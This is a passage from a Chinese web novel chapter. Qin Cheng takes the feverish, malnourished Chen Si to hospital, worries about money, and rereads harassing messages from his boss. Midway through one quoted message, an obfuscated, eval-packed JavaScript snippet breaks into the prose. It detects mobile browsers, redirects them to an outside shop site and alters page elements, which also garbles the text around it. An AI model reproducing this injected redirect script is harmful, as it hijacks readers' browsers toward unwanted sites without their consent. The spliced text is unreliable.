狭窄的杂物间里,零食的外包装散了一地,陈思可怜兮兮地靠在床和墙之间的夹缝里,用被子把自己裹得严严实实,只剩一颗汗涔涔,像熟透的虾仁一样发红的脑袋在外头直冒白气。
一股异味在房间里飘荡,秦承看了眼垃圾桶,里头是纸巾和呕吐物。
“我操。”他震惊了一瞬,身体先于脑袋行动,弯下腰把陈思从被子里揪出来,摸了一下他脑门,烫得跟烙铁一样,不用测就知道发烧了。
秦承扛上陈思就往外冲。
炽热的皮肤被外面的冷空气一打,陈思一激灵,混沌的脑袋终于清醒一瞬,睁开了眼睛。
看他睁眼,秦承一边把他往摩托车上放,一边气急败坏地训斥:“你脑子有问题吗?那东西都是过期的,你吃个屁啊!”
这下好了,又闹肚子又发烧,老给他找事!
“唔。”陈思的目光在秦承铁青的脸上扫过,一阵恶心从胃里反出来,他难受极了,无助地抱紧秦承的腰,脸埋进秦承的脖颈,闷闷地说:“对、对不起,我以为你不要了,我才吃的……我以前,吃、吃过过期的,都没事的……呕!”
说着说着,他又干哕了一声。
秦承抱着这个火炉似的玩意儿被吓得心惊肉跳,生怕他吐他身上,急忙发动引擎,冲向最近的医院。
陈思发烧发得实在严重,直接进了急诊,医生给他做了全套检查。
“我现在要他的身份信息,你快点给我发来。”秦承站在医院大厅,给老张打电话。
“还有,赶紧联系他妈,或者什么未成年收容所都行!我该他的欠他的,供他吃供他喝,生病了还要花钱给他治?这件事从头到尾跟我一点关系都没有!”
“你消消气,消消气……我马上给你发过去。”老张在那头不知为何有点理亏,“不过这个未成年收容所是不行了,他妈我们也尽力在找,就是不太好找。”
“什么意思?”秦承眉头一压,不好的预感涌上心头。
“我发你他身份信息,你看了就知道了”老张尴尬地笑了声,挂了电话。
两秒钟后,秦承打开手机,看见老张发过来的一张图片,上面是手写的字迹。
姓名:陈思。
性别:男。
年龄:18岁零6个月。
……
秦承的目光足足在他年龄上停留了,半晌发出一声崩溃的:“成年了?!”
他看这小孩长这么矮,瘦巴巴的,圆脸杏仁眼,一直没怀疑过他的年龄,以为顶天是个高中生,结果竟然成年了?那未成年人收容所根本去不了啊!
就这会儿,老张又发过来一段话:“抱歉啊,小秦。系统上他妈的户籍显示是大安县陈家村,但人不在那儿,联系了那边的民警,说是早就出去打工了,也不知道现在人在哪。”
他没说完,但秦承知道,他这话的意思是:
这小孩不是未成年人,收容所不要,他妈一时半会也找不着,你得接着看。
“操。”秦承这几天真是素质难保,但除了脏话没有什么能表达他此刻的心情。
他痛苦地揉了把脸,拿起手机对着老张的聊天框发了个语音:“你别给我说这有的没的,你们警察不是解决问题的吗?都把问题丢给我算什么?我不管,反正你尽快给我把他妈找到,找不着妈,别的亲戚也行,爱谁谁!能把他接走就行!”
“你要是找不着,我就把他扔你警察局门口,你看着办吧!”
语气激动的发泄完,秦承呼了两口气,转头去办手续。
体检的结果很快出来了,报告上显示陈思受风寒后又吃了刺激性的食物,发烧、肠胃一齐病发,而他身体又极度营养不良,脆弱得就像一张纸,平时看着还行,一生病就直接威胁生命。
医生立刻给他安排了住院。
秦承交完1500的住院押金,身上还剩2086,又买了一份晚餐,他走进陈思病房的时候都有些恍惚。
陈思的脸还像苹果一样红,秦承进来的时候,他正举着手够桌子上的矿泉水,一看见秦承,就跟办错事的小孩看到家长一样,缩着脖子往被子里钻。
“咣。”秦承把晚餐扔在桌上,好大一声响,陈思在被窝里一抖,露在外面的两只大眼睛往下蹭,明摆着害怕了。
秦承皱眉,把水递给他。
陈思没接,被子捂着嘴,闷闷的,声音沙哑的又说了一句:“对、对不起。”
跟机器人似的,一天到晚就会说这个,秦承听得不耐烦,摇了摇矿泉水:“别废话,喝不喝?还要我喂你?”
陈思立马爬起来,双手接过水,拧了两下,拧不开。
他丧眉耷眼的小心翼翼地瞅了瞅秦承,没敢说话,又自己使劲儿拧了两下,还是没拧开,手倒是搓红了,跟个泄气的皮球似的坐在病床上。
秦承把他这套小动作全都收进眼底,心里叹了口气,伸手道:“拿过来。”
陈思腰立马挺直了,把矿泉水递给他。
秦承给他拧开,看着小结巴咕咚咕咚跟个水壶似的灌了一肚子水,忍不住又道:“少喝点,还吃不吃饭了?”
陈思擦了擦湿漉漉的唇角,老老实实道:“哦……”
秦承把小饭桌给陈思摆好,医院食堂买的套餐营养倒是丰富,就是太贵,一份要40,反正他被这一堆事弄得也没胃口,干脆就买了一份。
陈思看着面前的盒饭,软滑白嫩的清蒸鲈鱼、西兰花炒肉、凉拌胡萝卜,冬瓜海带排骨汤,主食是杂粮饭,花花绿绿的,又漂亮又有营养,他咕咚一声吞了吞口水,拿起筷子大快朵颐。
秦承则是拿着手机坐在一边算账,刚才手机上短信提示他明天要去交体检费和药费。三百五十块,不多,但这只是一天的价格,医院还没说准陈思要住几天,只说先观察着。
再加上营养餐伙食费,杂七杂八的,两个人也要花不少。
虽然说等找到陈思他妈了,可以把钱要回来。但远水解不了近渴,现在他手里这点钱根本不够用。
“啧。”秦承打开手机联系人的页面,从上往下滑,精准无误地找到了一个备注张东风的人。
以往的聊天记录几乎没有秦承的回复,只有张东风干巴巴的独角戏。
“秦哥,你身材真好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154615|196526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,刚才帮庄姐抬东西的时候肌肉都崩起来了。”
“今天在舅舅那里提到你了,正好我手里有两盒新鲜的阳澄湖大闸蟹,我带到公司,你下班的时候拿走吧。”
“秦哥,你今天穿的真帅,屁股特翘。”
“秦哥,长夜漫漫,我发烧了睡不着,特别空虚特别寂寞,你心疼心疼我,来我家看看我行不行?”
数次已读不回后,就是破防:
“秦承!我给你脸了是不是?你说是老板我是老板?叫你一声哥是看得起你,别给我蹬鼻子上脸!你能活到今天全靠我舅舅和我,当初要不是我舅舅帮你一把,就你这个没爹没妈的,高中毕业就饿死在大街上了!”
“秦承!回我信息!不然明天你就别来上班了!”
往下是秦承冷淡的两个字:“收到。”
他消息刚发出去对面就是秒回,没有刚才气焰嚣张的样子。
“秦哥,你终于回我消息了,我昨天喝多了,说了什么你别在意啊,你别生气。我请你吃饭行不行?”
……
聊天记录就停留在这儿。
张东风是收债公司的老板,货真价实的gay,早几年就在他舅舅的场子看上秦承了,厚着脸皮要秦承去他那里上班。
那时候秦承还不知道他是什么货色,就答应了,没想到进到新公司后,就是各种花样,软的硬的轮着来的骚/扰。
上班时有意无意的身体接触,下班时手机狂轰滥炸。
秦承对他一直爱答不理的,他吃瘪吃多了就会去寻找新目标,热乎个一两个月,就腻了,又不死心地想起秦承,接着来骚扰。
现在这段时间,正好是他的冷静期,也不知道新目标追到了没有。
秦承的手指停留在屏幕上好半天,才打下几个字:张总,上个月的工资什么时候发?
一向秒回的张东风没有动静,可能是在哪个场子喝酒。秦承等了两秒,把手机收起来。
那边陈思吃了一半,看秦承在角落里乌云密布的,差点打雷下雨,吞了吞口水,不敢动筷子了。
他看了看套餐的残局,觉得自己好像吃太多了。陈强就嫌弃他吃得多,骂他饭桶。
虽然秦承没有直接说他,但他吃太多也不好,毕竟是因为乱吃东西进的医院,在吃的方面还是要节制一点为好。
这样想着,陈思依依不舍地瞅了眼他的饭。
秦承正发愁钱从哪来呢,窗前灯的光被挡住了,一片黑影洒下来。
陈思举着吃了一半的饭盒,往他眼前怼,结结巴巴地说:“我、我吃饱了,你、你吃!”
“……”秦承本来不饿的,但小结巴睁着水汪汪的大眼睛看他,小脸红扑扑的,剩饭近在咫尺,香味飘到鼻腔里。
冷了一天的胃突然动了下,但秦承还是推开了:“我不吃。”
小结巴执拗地把饭盒推过来,脸严肃地绷紧,好像在说天大的事情:“不、不能浪费食物!”
“我不……”
他刚要开口拒绝,就听肚子“咕”的一声。
秦承:“……”
他吃总行吧。